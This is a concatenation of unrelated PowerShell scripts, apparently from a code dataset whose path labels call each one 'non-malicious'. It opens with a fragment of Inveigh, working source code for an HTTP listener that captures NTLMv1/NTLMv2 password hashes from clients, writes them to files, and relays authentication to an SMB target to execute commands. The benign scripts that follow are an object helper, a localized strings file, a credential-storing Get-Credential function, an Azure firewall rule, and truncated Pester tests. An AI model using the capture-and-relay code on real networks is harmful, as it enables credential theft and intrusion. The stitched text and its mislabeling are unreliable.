$NTLM_response + ":" + $NTLM_challenge if((($NTLM_challenge -ne '') -and ($NTLM_response -ne '')) -and (($MachineAccounts -eq 'y') -or (($MachineAccounts -eq 'n') -and (-not $HTTP_NTLM_user_string.EndsWith('$'))))) { $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - $HTTP_type NTLMv1 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from " + $inveigh.request.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + ")")]) $inveigh.NTLMv1_file_queue.add($inveigh.HTTP_NTLM_hash) $inveigh.NTLMv1_list.add($inveigh.HTTP_NTLM_hash) $inveigh.console_queue.add("$(Get-Date -format 's') - $HTTP_type NTLMv1 challenge/response captured from " + $inveigh.request.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + "):`n" + $inveigh.HTTP_NTLM_hash) if($inveigh.file_output) { $inveigh.console_queue.add("$HTTP_type NTLMv1 challenge/response written to " + $inveigh.NTLMv1_out_file) } } if (($inveigh.IP_capture_list -notcontains $inveigh.request.RemoteEndpoint.Address) -and (-not $HTTP_NTLM_user_string.EndsWith('$')) -and (!$inveigh.spoofer_repeat)) { $inveigh.IP_capture_list += $inveigh.request.RemoteEndpoint.Address } } else { $NTLM_type = "NTLMv2" $NTLM_response = [System.BitConverter]::ToString($HTTP_request_bytes[$HTTP_NTLM_offset..($HTTP_NTLM_offset + $HTTP_NTLM_length)]) -replace "-","" $NTLM_response = $NTLM_response.Insert(32,':') $inveigh.HTTP_NTLM_hash = $HTTP_NTLM_user_string + "::" + $HTTP_NTLM_domain_string + ":" + $NTLM_challenge + ":" + $NTLM_response if((($NTLM_challenge -ne '') -and ($NTLM_response -ne '')) -and (($MachineAccounts -eq 'y') -or (($MachineAccounts -eq 'n') -and (-not $HTTP_NTLM_user_string.EndsWith('$'))))) { $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from " + $inveigh.request.RemoteEndpoint.address + "(" + $HTTP_NTLM_host_string + ")")]) $inveigh.NTLMv2_file_queue.add($inveigh.HTTP_NTLM_hash) $inveigh.NTLMv2_list.add($inveigh.HTTP_NTLM_hash) $inveigh.console_queue.add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response captured from " + $inveigh.request.RemoteEndpoint.address + "(" + $HTTP_NTLM_host_string + "):`n" + $inveigh.HTTP_NTLM_hash) if($inveigh.file_output) { $inveigh.console_queue.add("$HTTP_type NTLMv2 challenge/response written to " + $inveigh.NTLMv2_out_file) } } if (($inveigh.IP_capture_list -notcontains $inveigh.request.RemoteEndpoint.Address) -and (-not $HTTP_NTLM_user_string.EndsWith('$')) -and (!$inveigh.spoofer_repeat)) { $inveigh.IP_capture_list += $inveigh.request.RemoteEndpoint.Address } } $inveigh.response.StatusCode = 200 $NTLM_challenge = '' if (($inveigh.SMB_relay) -and ($inveigh.SMB_relay_active_step -eq 3)) { if((!$SMBRelayUsernames) -or ($SMBRelayUsernames -contains $HTTP_NTLM_user_string) -or ($SMBRelayUsernames -contains "$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string")) { if(($MachineAccounts -eq 'y') -or (($MachineAccounts -eq 'n') -and (-not $HTTP_NTLM_user_string.EndsWith('$')))) { if($inveigh.SMBRelay_failed_list -notcontains "$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string $SMBRelayTarget") { if($NTLM_type -eq 'NTLMv2') { $inveigh.console_queue.add("Sending $NTLM_type response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string for relay to $SMBRelaytarget") $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Sending $NTLM_type response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string for relay to $SMBRelaytarget")]) $SMB_relay_response_return_bytes = SMBRelayResponse $SMB_relay_socket $HTTP_request_bytes $SMB_user_ID $SMB_relay_response_return_bytes = $SMB_relay_response_return_bytes[1..$SMB_relay_response_return_bytes.length] if((!$SMB_relay_failed) -and ([System.BitConverter]::ToString($SMB_relay_response_return_bytes[9..12]) -eq ('00-00-00-00'))) { $inveigh.console_queue.add("$HTTP_type to SMB relay authentication successful for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $SMBRelayTarget") $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - $HTTP_type to SMB relay authentication successful for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $SMBRelayTarget")]) $inveigh.SMB_relay_active_step = 4 SMBRelayExecute $SMB_relay_socket $SMB_user_ID } else { $inveigh.console_queue.add("$HTTP_type to SMB relay authentication failed for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $SMBRelayTarget") $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - $HTTP_type to SMB relay authentication failed for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $SMBRelayTarget")]) $inveigh.SMBRelay_failed_list += "$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string $SMBRelayTarget" $inveigh.SMB_relay_active_step = 0 $SMB_relay_socket.Close() } } else { $inveigh.console_queue.add("NTLMv1 SMB relay not yet supported") $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - NTLMv1 relay not yet supported")]) $inveigh.SMB_relay_active_step = 0 $SMB_relay_socket.Close() } } else { $inveigh.console_queue.add("Aborting relay since $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string has already been tried on $SMBRelayTarget") $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Aborting relay since $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string has already been tried on $SMBRelayTarget")]) $inveigh.SMB_relay_active_step = 0 $SMB_relay_socket.Close() } } else { $inveigh.console_queue.add("Aborting relay since $HTTP_NTLM_user_string appears to be a machine account") $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Aborting relay since $HTTP_NTLM_user_string appears to be a machine account")]) $inveigh.SMB_relay_active_step = 0 $SMB_relay_socket.Close() } } else { $inveigh.console_queue.add("$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string not on relay username list") $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string not on relay username list")]) $inveigh.SMB_relay_active_step = 0 $SMB_relay_socket.Close() } } } else { $NTLM = 'NTLM' } } [byte[]] $HTTP_buffer = [System.Text.Encoding]::UTF8.GetBytes($inveigh.message) $inveigh.response.ContentLength64 = $HTTP_buffer.length $inveigh.response.AddHeader("WWW-Authenticate",$NTLM) $HTTP_stream = $inveigh.response.OutputStream $HTTP_stream.write($HTTP_buffer, 0, $HTTP_buffer.length) $HTTP_stream.close() } $inveigh.HTTP_listener.Stop() $inveigh.HTTP_listener.Close() } $control_relay_scriptblock = { param ($RunTime) if($RunTime) { $control_timeout = new-timespan -Minutes $RunTime $control_stopwatch = [diagnostics.stopwatch]::StartNew() } while ($inveigh.relay_running) { if($RunTime) { if($control_stopwatch.elapsed -ge $control_timeout) { if($inveigh.HTTP_listener.IsListening) { $inveigh.HTTP_listener.Stop() $inveigh.HTTP_listener.Close() } $inveigh.console_queue.add("Inveigh Relay exited due to run time at $(Get-Date -format 's')") $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Inveigh Relay exited due to run time")]) Start-Sleep -m 5 $inveigh.relay_running = $false if($inveigh.HTTPS) { & "netsh" http delete sslcert ipport=0.0.0.0:443 > $null try { $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") $certificate_store.Open('ReadWrite') $certificate = $certificate_store.certificates.find("FindByThumbprint",$inveigh.certificate_thumbprint,$false)[0] $certificate_store.Remove($certificate) $certificate_store.Close() } catch { if($inveigh.status_output) { $inveigh.console_queue.add("SSL Certificate Deletion Error - Remove Manually") } $inveigh.log.add("$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually") if($inveigh.file_output) { "$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually"| Out-File $Inveigh.log_out_file -Append } } } $inveigh.HTTP = $false $inveigh.HTTPS = $false } } if($inveigh.file_output -and (!$inveigh.running -or !$inveigh.bruteforce_running)) { while($inveigh.log_file_queue.Count -gt 0) { $inveigh.log_file_queue[0]|Out-File $inveigh.log_out_file -Append $inveigh.log_file_queue.RemoveRange(0,1) } while($inveigh.NTLMv1_file_queue.Count -gt 0) { $inveigh.NTLMv1_file_queue[0]|Out-File $inveigh.NTLMv1_out_file -Append $inveigh.NTLMv1_file_queue.RemoveRange(0,1) } while($inveigh.NTLMv2_file_queue.Count -gt 0) { $inveigh.NTLMv2_file_queue[0]|Out-File $inveigh.NTLMv2_out_file -Append $inveigh.NTLMv2_file_queue.RemoveRange(0,1) } while($inveigh.cleartext_file_queue.Count -gt 0) { $inveigh.cleartext_file_queue[0]|Out-File $inveigh.cleartext_out_file -Append $inveigh.cleartext_file_queue.RemoveRange(0,1) } } Start-Sleep -m 5 } } Function HTTPListener() { $inveigh.HTTP_listener = New-Object System.Net.HttpListener if($inveigh.HTTP) { $inveigh.HTTP_listener.Prefixes.Add('http://*:80/') } if($inveigh.HTTPS) { $inveigh.HTTP_listener.Prefixes.Add('https://*:443/') } $inveigh.HTTP_listener.AuthenticationSchemes = "Anonymous" $inveigh.HTTP_listener.Start() $HTTP_runspace = [runspacefactory]::CreateRunspace() $HTTP_runspace.Open() $HTTP_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) $HTTP_powershell = [powershell]::Create() $HTTP_powershell.Runspace = $HTTP_runspace $HTTP_powershell.AddScript($shared_basic_functions_scriptblock) > $null $HTTP_powershell.AddScript($SMB_relay_challenge_scriptblock) > $null $HTTP_powershell.AddScript($SMB_relay_response_scriptblock) > $null $HTTP_powershell.AddScript($SMB_relay_execute_scriptblock) > $null $HTTP_powershell.AddScript($SMB_NTLM_functions_scriptblock) > $null $HTTP_powershell.AddScript($HTTP_scriptblock).AddArgument( $SMBRelayTarget).AddArgument($SMBRelayCommand).AddArgument($SMBRelayUsernames).AddArgument( $SMBRelayAutoDisable).AddArgument($SMBRelayNetworkTimeout).AddArgument( $MachineAccounts).AddArgument($WPADAuth) > $null $HTTP_powershell.BeginInvoke() > $null } Function ControlRelayLoop() { $control_relay_runspace = [runspacefactory]::CreateRunspace() $control_relay_runspace.Open() $control_relay_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) $control_relay_powershell = [powershell]::Create() $control_relay_powershell.Runspace = $control_relay_runspace $control_relay_powershell.AddScript($shared_basic_functions_scriptblock) > $null $control_relay_powershell.AddScript($control_relay_scriptblock).AddArgument($RunTime) > $null $control_relay_powershell.BeginInvoke() > $null } if($inveigh.HTTP -or $inveigh.HTTPS) { HTTPListener } if($RunTime -or $inveigh.file_output) { ControlRelayLoop } if(!$inveigh.running -and $inveigh.console_output) { :console_loop while($inveigh.relay_running -and $inveigh.console_output) { while($inveigh.console_queue.Count -gt 0) { if($inveigh.output_stream_only) { write-output($inveigh.console_queue[0] + $inveigh.newline) $inveigh.console_queue.RemoveRange(0,1) } else { switch -wildcard ($inveigh.console_queue[0]) { "Inveigh *exited *" { write-warning $inveigh.console_queue[0] $inveigh.console_queue.RemoveRange(0,1) } "* written to *" { if($inveigh.file_output) { write-warning $inveigh.console_queue[0] } $inveigh.console_queue.RemoveRange(0,1) } "* for relay *" { write-warning $inveigh.console_queue[0] $inveigh.console_queue.RemoveRange(0,1) } "*SMB relay *" { write-warning $inveigh.console_queue[0] $inveigh.console_queue.RemoveRange(0,1) } "* local administrator *" { write-warning $inveigh.console_queue[0] $inveigh.console_queue.RemoveRange(0,1) } default { write-output $inveigh.console_queue[0] $inveigh.console_queue.RemoveRange(0,1) } } } } if($inveigh.console_input) { if([console]::KeyAvailable) { $inveigh.console_output = $false BREAK console_loop } } Start-Sleep -m 5 } } } Function Stop-Inveigh { if($inveigh) { if($inveigh.running -or $inveigh.relay_running -or $inveigh.bruteforce_running) { if($inveigh.HTTP_listener.IsListening) { $inveigh.HTTP_listener.Stop() $inveigh.HTTP_listener.Close() } if($inveigh.bruteforce_running) { $inveigh.bruteforce_running = $false $inveigh.status_queue.add("$(Get-Date -format 's') - Attempting to stop HTTP listener")|Out-Null $inveigh.HTTP_listener.server.blocking = $false Start-Sleep -s 1 $inveigh.HTTP_listener.server.Close() Start-Sleep -s 1 $inveigh.HTTP_listener.Stop() $inveigh.status_queue.add("Inveigh Brute Force exited at $(Get-Date -format 's')")|Out-Null $inveigh.log.add("$(Get-Date -format 's') - Inveigh Brute Force exited")|Out-Null if($inveigh.file_output) { "$(Get-Date -format 's') - Inveigh Brute Force exited"| Out-File $Inveigh.log_out_file -Append } } if($inveigh.relay_running) { $inveigh.relay_running = $false $inveigh.status_queue.add("Inveigh Relay exited at $(Get-Date -format 's')")|Out-Null $inveigh.log.add("$(Get-Date -format 's') - Inveigh Relay exited")|Out-Null if($inveigh.file_output) { "$(Get-Date -format 's') - Inveigh Relay exited"| Out-File $Inveigh.log_out_file -Append } } if($inveigh.running) { $inveigh.running = $false $inveigh.status_queue.add("Inveigh exited at $(Get-Date -format 's')")|Out-Null $inveigh.log.add("$(Get-Date -format 's') - Inveigh exited")|Out-Null if($inveigh.file_output) { "$(Get-Date -format 's') - Inveigh exited"| Out-File $Inveigh.log_out_file -Append } } } else { $inveigh.status_queue.add("There are no running Inveigh functions") | Out-Null } if($inveigh.HTTPS) { & "netsh" http delete sslcert ipport=0.0.0.0:443 > $null try { $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") $certificate_store.Open('ReadWrite') $certificate = $certificate_store.certificates.find("FindByThumbprint",$inveigh.certificate_thumbprint,$FALSE)[0] $certificate_store.Remove($certificate) $certificate_store.Close() } catch { $inveigh.status_queue.add("SSL Certificate Deletion Error - Remove Manually")|Out-Null $inveigh.log.add("$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually")|Out-Null if($inveigh.file_output) { "$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually"|Out-File $Inveigh.log_out_file -Append } } } $inveigh.HTTP = $false $inveigh.HTTPS = $false } else { $inveigh.status_queue.add("There are no running Inveigh functions")|Out-Null } if($inveigh.status_output) { while($inveigh.status_queue.Count -gt 0) { if($inveigh.output_stream_only) { write-output($inveigh.status_queue[0] + $inveigh.newline) $inveigh.status_queue.RemoveRange(0,1) } else { switch -wildcard ($inveigh.status_queue[0]) { "Inveigh *exited *" { write-warning $inveigh.status_queue[0] $inveigh.status_queue.RemoveRange(0,1) } "SSL Certificate Deletion Error - Remove Manually" { write-warning $inveigh.status_queue[0] $inveigh.status_queue.RemoveRange(0,1) } default { write-output $inveigh.status_queue[0] $inveigh.status_queue.RemoveRange(0,1) } } } } } } Function Get-Inveigh { while($inveigh.console_queue.Count -gt 0) { if($inveigh.output_stream_only) { write-output($inveigh.console_queue[0] + $inveigh.newline) $inveigh.console_queue.RemoveRange(0,1) } else { switch -wildcard ($inveigh.console_queue[0]) { "Inveigh *exited *" { write-warning $inveigh.console_queue[0] $inveigh.console_queue.RemoveRange(0,1) } "* written to *" { if($inveigh.file_output) { write-warning $inveigh.console_queue[0] } $inveigh.console_queue.RemoveRange(0,1) } "* for relay *" { write-warning $inveigh.console_queue[0] $inveigh.console_queue.RemoveRange(0,1) } "*SMB relay *" { write-warning $inveigh.console_queue[0] $inveigh.console_queue.RemoveRange(0,1) } "* local administrator *" { write-warning $inveigh.console_queue[0] $inveigh.console_queue.RemoveRange(0,1) } default { write-output $inveigh.console_queue[0] $inveigh.console_queue.RemoveRange(0,1) } } } } } Function Get-InveighCleartext { $inveigh.cleartext_list } Function Get-InveighNTLM { $inveigh.NTLMv1_list $inveigh.NTLMv2_list } Function Get-InveighNTLMv1 { param ( [parameter(Mandatory=$false)][switch]$Unique, [parameter(ValueFromRemainingArguments=$true)] $invalid_parameter ) if ($invalid_parameter) { throw "$($invalid_parameter) is not a valid parameter." } if($Unique) { $inveigh.NTLMv1_list.sort() ForEach($unique_NTLMv1 in $inveigh.NTLMv1_list) { $unique_NTLMv1_account = $unique_NTLMv1.substring(0,$unique_NTLMv1.indexof(":",($unique_NTLMv1.indexof(":")+2))) if($unique_NTLMv1_account -ne $unique_NTLMv1_account_last) { $unique_NTLMv1 } $unique_NTLMv1_account_last = $unique_NTLMv1_account } } else { $inveigh.NTLMv1_list } } Function Get-InveighNTLMv2 { param ( [parameter(Mandatory=$false)][switch]$Unique, [parameter(ValueFromRemainingArguments=$true)] $invalid_parameter ) if ($invalid_parameter) { throw "$($invalid_parameter) is not a valid parameter." } if($Unique) { $inveigh.NTLMv2_list.sort() ForEach($unique_NTLMv2 in $inveigh.NTLMv2_list) { $unique_NTLMv2_account = $unique_NTLMv2.substring(0,$unique_NTLMv2.indexof(":",($unique_NTLMv2.indexof(":")+2))) if($unique_NTLMv2_account -ne $unique_NTLMv2_account_last) { $unique_NTLMv2 } $unique_NTLMv2_account_last = $unique_NTLMv2_account } } else { $inveigh.NTLMv2_list } } Function Get-InveighLog { $inveigh.log } Function Get-InveighStat { Write-Output("Total Cleartext Captures = " + $inveigh.cleartext_list.count) Write-Output("Total NTLMv1 Captures = " + $inveigh.NTLMv1_list.count) Write-Output("Total NTLMv2 Captures = " + $inveigh.NTLMv2_list.count) } Function Watch-Inveigh { if($inveigh.tool -ne 1) { if($inveigh.running -or $inveigh.relay_running -or $inveigh.bruteforce_running) { Write-Output "Press any key to stop real time console output" $inveigh.console_output = $true :console_loop while((($inveigh.running -or $inveigh.relay_running -or $inveigh.bruteforce_running) -and $inveigh.console_output) -or ($inveigh.console_queue.Count -gt 0 -and $inveigh.console_output)) { while($inveigh.console_queue.Count -gt 0) { if($inveigh.output_stream_only) { write-output($inveigh.console_queue[0] + $inveigh.newline) $inveigh.console_queue.RemoveRange(0,1) } else { switch -wildcard ($inveigh.console_queue[0]) { "Inveigh *exited *" { write-warning $inveigh.console_queue[0] $inveigh.console_queue.RemoveRange(0,1) } "* written to *" { if($inveigh.file_output) { write-warning $inveigh.console_queue[0] } $inveigh.console_queue.RemoveRange(0,1) } "* for relay *" { write-warning $inveigh.console_queue[0] $inveigh.console_queue.RemoveRange(0,1) } "*SMB relay *" { write-warning $inveigh.console_queue[0] $inveigh.console_queue.RemoveRange(0,1) } "* local administrator *" { write-warning $inveigh.console_queue[0] $inveigh.console_queue.RemoveRange(0,1) } default { write-output $inveigh.console_queue[0] $inveigh.console_queue.RemoveRange(0,1) } } } } if([console]::KeyAvailable) { $inveigh.console_output = $false BREAK console_loop } Start-Sleep -m 5 } } else { Write-Output "Inveigh isn't running" } } else { Write-Output "Watch-Inveigh cannot be used with current external tool selection" } } Function Clear-Inveigh { if($inveigh) { if(!$inveigh.running -and !$inveigh.relay_running -and !$inveigh.bruteforce_running) { Remove-Variable inveigh -scope global Write-Output "Inveigh data has been cleared from memory" } else { Write-Output "Run Stop-Inveigh before running Clear-Inveigh" } } }
combined_dataset/train/non-malicious/New-ObjectRecursive.ps1
New-ObjectRecursive.ps1
<# .Synopsis Creates new object based on hashtable definition .Description Function is wrapper for New-Object that allows user to create nested objects using nested hashtable as definition. If you want to take advantage of type use 'Type' key within hashtable that defines object. .Example $obj = New-ObjectRecursive @{Test = @{ InnerTest = 'Value'; AnotherInner = 'Another'; InnerwithInner = @{ Deepest = 'It is very deep'}}; Flat = 'SomeValue'} $obj.Test.InnerwithInner.Deepest It is very deep Create simpe custom object with several inner psobjects, depending of hashtable structure. .Example (New-ObjectRecursive @{ Type = 'Windows.Forms.Form'; Size = @{ Type = 'Drawing.Size'; width = 400; Height = 400}; Text = 'Title of window'}).ShowDialog() Display windows form of size 400 x 400 and title 'Title of window', assuming Windows.Forms are loaded. #> param( $Property ) if ($Property -is [hashtable]) { if ($Type = $Property.Type) { $Property.Remove('Type') } else { $Type = 'PSObject' } $PropertyHash = @{} foreach ($key in $Property.keys) { $PropertyHash.Add($key, $(New-ObjectRecursive $Property[$key])) } Try { New-Object $Type -Property $PropertyHash -ErrorAction SilentlyContinue if (!$?) { Write-Host -ForegroundColor Red $Error[0].Exception.Message } } catch { Write-Host -ForegroundColor Red "Problems with creating object of type: $Type. Try to use PSObject instead . . ." New-Object PSObject -Property $PropertyHash -ErrorAction SilentlyContinue Write-Host -ForegroundColor Red "Error message:" $_.Exception.Message } } else { $Property }
combined_dataset/train/non-malicious/sample_50_18.ps1
sample_50_18.ps1
ConvertFrom-StringData @' FailoverClustersModuleRequired=Modul PowerShell yang diperlukan (FailoverClusters) tidak ditemukan. Gunakan Alat Peran & Fitur untuk menginstal: Alat Administrasi Server Jarak Jauh | | Alat Administrasi Fitur | Alat Pengklusteran Failover Modul Kluster Failover untuk Windows PowerShell. '@ # SIG # Begin signature block # MIInvgYJKoZIhvcNAQcCoIInrzCCJ6sCAQExDzANBglghkgBZQMEAgEFADB5Bgor # BgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG # KX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCCHzjdk/L5QsC6i # 0GEOFz32+OJupfQP1YmnKUOX9B5XuqCCDXYwggX0MIID3KADAgECAhMzAAADrzBA # DkyjTQVBAAAAAAOvMA0GCSqGSIb3DQEBCwUAMH4xCzAJBgNVBAYTAlVTMRMwEQYD # VQQIEwpXYXNoaW5ndG9uMRAwDgYDVQQHEwdSZWRtb25kMR4wHAYDVQQKExVNaWNy # b3NvZnQgQ29ycG9yYXRpb24xKDAmBgNVBAMTH01pY3Jvc29mdCBDb2RlIFNpZ25p # bmcgUENBIDIwMTEwHhcNMjMxMTE2MTkwOTAwWhcNMjQxMTE0MTkwOTAwWjB0MQsw # CQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9u # ZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMR4wHAYDVQQDExVNaWNy # b3NvZnQgQ29ycG9yYXRpb24wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB # AQDOS8s1ra6f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EZSA5TEdzHsZTwk2RYSDbXC4SJ7Dbf9 # eKLOZgW+n3uCx0aGM+ckmwWV+DfgnjfBezpC8NiLruW/UEV8vL5DEyGZLBUzGUTs # WMqvx1/3lJ1Rol7bW7Fnt2USDMTsBLIhh01GqjNwtiJHE+n806FWeuOE6U/Fhi+y # 2cr3NyfvbboRYWtBbNJ8065IJ1NWZbIHFIICz92LTP5cYCp/yEarlU3UUQoSCRXY # Ch/f01ZTBNJbDctlh/umX2XnUHdLPNV1TnAtJN5S2s4w+/cUa0TnXZdkaFeL8g/M # av8= # SIG # End signature block
combined_dataset/train/non-malicious/Get-Credential 2.4.ps1
Get-Credential 2.4.ps1
## Get-Credential ## An improvement over the default cmdlet which has no options ... ################################################################################################### ## History ## v 2.4 Fix a bug in -Store when the UserName isn't passed in as a parameter ## v 2.3 Add -Store switch and support putting credentials into the file system ## v 2.1 Fix the comment help and parameter names to agree with each other (whoops) ## v 2.0 Rewrite for v2 to replace the default Get-Credential ## v 1.2 Refactor ShellIds key out to a variable, and wrap lines a bit ## v 1.1 Add -Console switch and set registry values accordingly (ouch) ## v 1.0 Add Title, Message, Domain, and UserName options to the Get-Credential cmdlet ################################################################################################### function Get-Credential { ## .Synopsis ## Gets a credential object based on a user name and password. ## .Description ## The Get-Credential function creates a credential object for a specified username and password, with an optional domain. You can use the credential object in security operations. ## ## The function accepts more parameters to customize the security prompt than the default Get-Credential cmdlet (including forcing the call through the console if you're in the native PowerShell.exe CMD console), but otherwise functions identically. [CmdletBinding(DefaultParameterSetName="Prompted")] PARAM( # A default user name for the credential prompt, or a pre-existing credential (would skip all prompting) [Parameter(ParameterSetName="Prompted",Position=1,Mandatory=$false)] [Parameter(ParameterSetName="Promptless",Position=1,Mandatory=$true)] [Parameter(ParameterSetName="StoreCreds",Position=1,Mandatory=$true)] [Parameter(ParameterSetName="Flush",Position=1,Mandatory=$true)] [Alias("Credential")] [PSObject]$UserName=$null , # Allows you to override the default window title of the credential dialog/prompt # # You should use this to allow users to differentiate one credential prompt from another. In particular, if you're prompting for, say, Twitter credentials, you should put "Twitter" in the title somewhere. If you're prompting for domain credentials. Being specific not only helps users differentiate and know what credentials to provide, but also allows tools like KeePass to automatically determine it. [Parameter(ParameterSetName="Prompted",Position=2,Mandatory=$false)] [string]$Title=$null , # Allows you to override the text displayed inside the credential dialog/prompt. # # You can use this for things like presenting an explanation of what you need the credentials for. [Parameter(ParameterSetName="Prompted",Position=3,Mandatory=$false)] [string]$Message=$null , # Specifies the default domain to use if the user doesn't provide one (by default, this is null) [Parameter(ParameterSetName="Prompted",Position=4,Mandatory=$false)] [string]$Domain=$null , # The Get-Credential cmdlet forces you to always return DOMAIN credentials (so even if the user provides just a plain user name, it prepends "\\" to the user name). This switch allows you to override that behavior and allow generic credentials without any domain name or the leading "\\". [Parameter(ParameterSetName="Prompted",Mandatory=$false)] [switch]$GenericCredentials , # Forces the credential prompt to occur inline in the console/host using Read-Host -AsSecureString (not implemented properly in PowerShell ISE) [Parameter(ParameterSetName="Prompted",Mandatory=$false)] [switch]$Inline , # Store the credential in the file system (and overwrite them) [Parameter(ParameterSetName="Prompted",Mandatory=$false)] [Parameter(ParameterSetName="Promptless",Mandatory=$false)] [Parameter(ParameterSetName="StoreCreds",Mandatory=$true)] [switch]$Store , # Remove stored credentials from the file system [Parameter(ParameterSetName="Flush",Mandatory=$true)] [switch]$Flush , # Allows you to override the path to store credentials in [Parameter(ParameterSetName="Prompted",Mandatory=$false)] [Parameter(ParameterSetName="Promptless",Mandatory=$false)] [Parameter(ParameterSetName="StoreCreds",Mandatory=$false)] $CredentialFolder = $(Join-Path ${Env:APPDATA} Credentials) , # The password [Parameter(ParameterSetName="Promptless",Position=5,Mandatory=$true)] $Password = $( if($UserName -and (Test-Path "$(Join-Path $CredentialFolder $UserName).cred")) { if($Flush) { Remove-Item "$(Join-Path $CredentialFolder $UserName).cred" } else { Get-Content "$(Join-Path $CredentialFolder $UserName).cred" | ConvertTo-SecureString } }) ) process { [PSCredential]$Credential = $null if( $UserName -is [System.Management.Automation.PSCredential]) { $Credential = $UserName } elseif($UserName -ne $null) { $UserName = $UserName.ToString() } if($Password) { if($Password -isnot [System.Security.SecureString]) { [char[]]$Chars = $Password.ToString().ToCharArray() $Password = New-Object System.Security.SecureString foreach($c in $chars) { $Password.AppendChar($c) } } $Credential = New-Object System.Management.Automation.PSCredential $UserName, $Password } if(!$Credential) { if($Inline) { if($Title) { Write-Host $Title } if($Message) { Write-Host $Message } if($Domain) { if($UserName -and $UserName -notmatch "[@\\\\]") { $UserName = "${Domain}\\${UserName}" } } if(!$UserName) { $UserName = Read-Host "User" if(($Domain -OR !$GenericCredentials) -and $UserName -notmatch "[@\\\\]") { $UserName = "${Domain}\\${UserName}" } } $Credential = New-Object System.Management.Automation.PSCredential $UserName,$(Read-Host "Password for user $UserName" -AsSecureString) } if($GenericCredentials) { $Type = "Generic" } else { $Type = "Domain" } ## Now call the Host.UI method ... if they don't have one, we'll die, yay. ## BugBug? PowerShell.exe disregards the last parameter $Credential = $Host.UI.PromptForCredential($Title, $Message, $UserName, $Domain, $Type, "Default") } if($Store) { $CredentialFile = "$(Join-Path $CredentialFolder $Credential.UserName).cred" if(!(Test-Path $CredentialFolder)) { mkdir $CredentialFolder | out-null } $Credential.Password | ConvertFrom-SecureString | Set-Content $CredentialFile } return $Credential } }
combined_dataset/train/non-malicious/1029.ps1
1029.ps1
Login-AzAccount Get-AzSubscription Set-AzContext -SubscriptionId "yourSubscriptionID" $RGname="sfclustertutorialgroup" $port=8081 $rulename="allowAppPort$port" $nsgname="sf-vnet-security" $nsg = Get-AzNetworkSecurityGroup -Name $nsgname -ResourceGroupName $RGname $nsg | Add-AzNetworkSecurityRuleConfig -Name $rulename -Description "Allow app port" -Access Allow ` -Protocol * -Direction Inbound -Priority 3891 -SourceAddressPrefix "*" -SourcePortRange * ` -DestinationAddressPrefix * -DestinationPortRange $port $nsg | Set-AzNetworkSecurityGroup
combined_dataset/train/non-malicious/2037.ps1
2037.ps1
Describe 'Validate Attributes Tests' -Tags 'CI' { Context "ValidateCount" { BeforeAll { $testCases = @( @{ ScriptBlock = { function foo { param([ValidateCount(-1,2)] [string[]] $bar) }; foo } FullyQualifiedErrorId = "ExceptionConstructingAttribute" InnerErrorId = "" } @{ ScriptBlock = { function foo { param([ValidateCount(1,-1)] [string[]] $bar) }; foo } FullyQualifiedErrorId = "ExceptionConstructingAttribute" InnerErrorId = "" } @{ ScriptBlock = { function foo { param([ValidateCount(2, 1)] [string[]] $bar) }; foo } FullyQualifiedErrorId = "ValidateRangeMaxLengthSmallerThanMinLength" InnerErrorId = "" } @{ ScriptBlock = { function foo { param([ValidateCount(2, 2)] [string[]] $bar) }; foo 1 } FullyQualifiedErrorId = "ParameterArgumentValidationError,foo" InnerErrorId = "ValidateCountExactFailure" } @{ ScriptBlock = { function foo { param([ValidateCount(2, 3)] [string[]] $bar) }; foo 1 } FullyQualifiedErrorId = "ParameterArgumentValidationError,foo" InnerErrorId = "ValidateCountMinMaxFailure" } @{ ScriptBlock = { function foo { param([ValidateCount(2, 3)] [string[]] $bar) }; foo 